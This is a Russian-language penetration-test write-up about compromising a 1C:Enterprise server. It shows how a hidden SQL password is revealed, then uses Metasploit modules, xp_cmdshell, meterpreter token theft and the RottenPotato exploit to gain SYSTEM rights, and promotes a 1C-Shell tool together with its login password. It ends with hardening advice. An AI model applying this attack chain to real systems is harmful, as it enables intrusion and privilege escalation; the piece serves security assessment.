Мы столкнулись с проблемой, пароль скрыт. Не придумав решения лучше, было решено просто отключить свойство «РежимПароля» для поля «SQL пароль». Для этого открыли информационную базу в режиме конфигуратора. С помощью следующей схемы «Конфигурация -> Поддержка -> Настройка поддержки» сняли конфигурацию с поддержки, чтобы появилась возможность изменить форму в конфигурации:

Далее нашли форму с отображением учетных данных и отключили свойство «РежимПароля» для поля «SQL пароль»:

Сохранив изменения и запустив отладку, нажали клавишу F5. После запуска конфигурации, открыв форму с учетными данными, увидели долгожданный пароль:

Прекрасно, половина дела сделана.

Получение доступа к выполнению команд на сервере

Для проверки валидности учетных данных мы использовали модуль «auxiliary/scanner/mssql/mssql_logi n» из Metasploit Framework, логин и пароль успешно подошли к MS SQL Server, расположенному на том же сервере:

Пользователь sa по умолчанию имеет максимально возможные права, это позволяет выполнить команды операционной системы через функцию xp_cmdshell. Для проверки этой возможности мы воспользуемся модулем «mssql _exec» из Metasploit Framework:

Как видно на снимке экрана у нас есть возможность выполнять команды на сервере в контексте пользователя «nt service\mssqlserver».

Повышение привилегий в системе

Осталось повысить привилегии на сервере. Для этого откроем сессию meterpreter, используя модуль «exploit/windows/mssql/mssql_payloa d» из Metasploit Framework:

После того как консоль meterpreter открылась, загрузим модуль incognito:

Модуль incognito позволяет красть токены пользователей, тем самым можно выдать себя за другого пользователя и повысить привилегии в системе.

Как видно на снимке экрана выше интересующие нас токены недоступны.

Нам потребуется применить эксплойт RottenPotato, чтобы привилегированный токен стал доступен. Токен становится доступен на непродолжительное время, нужно действовать очень быстро, чтобы не упустить шанс.

Скачаем эксплойт RottenPotato по ссылке и загрузим его через meterpreter.

Запустим эксплойт командой: execute -cH -f ./rottenpotato.exe. Видим, что в списке доступных токенов появился новый – «NT AUTHORITY\СИСТЕМА» Переключимся на него командой: impersonate_token «NT AUTHORITY\\СИСТЕМА» и нам, наконец, удается получить максимальные права на сервере.

На снимке экрана продемонстрирован процесс повышения привилегий:

Отлично, система успешно скомпрометирована.

Предположим, что учетные данные для подключения к серверу баз данных не сохранены в информационной базе или была обнаружена вовсе пустая база без конфигурации. Что тогда, спросите Вы?

Специально для этой ситуации мы создали конфигурацию 1C-Shell, которая позволяет выполнять команды на сервере 1С в контексте пользователя USR1CV8, от имени которого работает сервер 1С.

Скачиваем конфигурацию 1C-Shell. Открываем найденную информационную базу в Конфигураторе.

Выбираем Администрирование — Загрузить информационную базу и указываем файл 1C-Shell.dt.

Внимание! Все данные в этой информационной базе будут удалены!

После загрузки новой конфигурации открываем базу 1C. Вводим пароль MArS6M для пользователя Kraud и получаем возможность выполнять команды на сервере 1С.

Таким образом, если мы найдем незащищенную информационную базу, то сразу переходим к этапу повышения привилегий в системе.

устанавливайте пароль для администратора кластера сервера 1С;
используйте сильные пароли для привилегированных пользователей в информационных базах 1С;
отключите пользователя sa в сервере БД, для выполнения административных задач создайте другую учетную запись с ролью sysadmin;
регламентируйте процесс создания новых информационных баз 1С.

Этот случай наглядно показал, что не стоит полагаться только на отчеты сканеров. Привлекайте экспертов для независимой оценки защищенности вашей инфраструктуры.

Читайте также: